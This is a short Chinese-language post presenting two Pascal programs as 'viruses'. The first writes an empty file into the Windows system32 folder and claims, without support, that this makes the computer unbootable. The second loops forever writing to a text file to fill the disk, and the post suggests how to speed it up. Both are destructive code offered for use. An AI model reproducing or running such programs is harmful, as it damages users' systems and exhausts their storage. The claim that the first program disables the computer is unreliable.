Pascal内存病毒

Chaobs从互联网上获得

   pascal病毒虽然说只用Ctrl+Pause Break就可以关闭，但是像有些程序一旦启动，不用等你找到那两个键，就自己运行结束关闭了。比如下面一个程序：

var
a:text;
begin
assign(a,‘C:\WINDOWS\system32\system64.dat‘);
rewrite(a);
close(a);
end.

这个程序能在0.1秒之内运行结束，但效果非常明显——电脑打不开了……还比如：

var
s:string;
i:integer;
begin
i:=1;
s:=‘    ‘;
assign(output,‘windows.txt‘);
rewrite(output);
while i=1 do
writeln(s);
close(output);
end.

效果是：200MB/s（可能随电脑的速度而改变）当然那句“s:=‘    ‘;”如果变长可能速度会更快。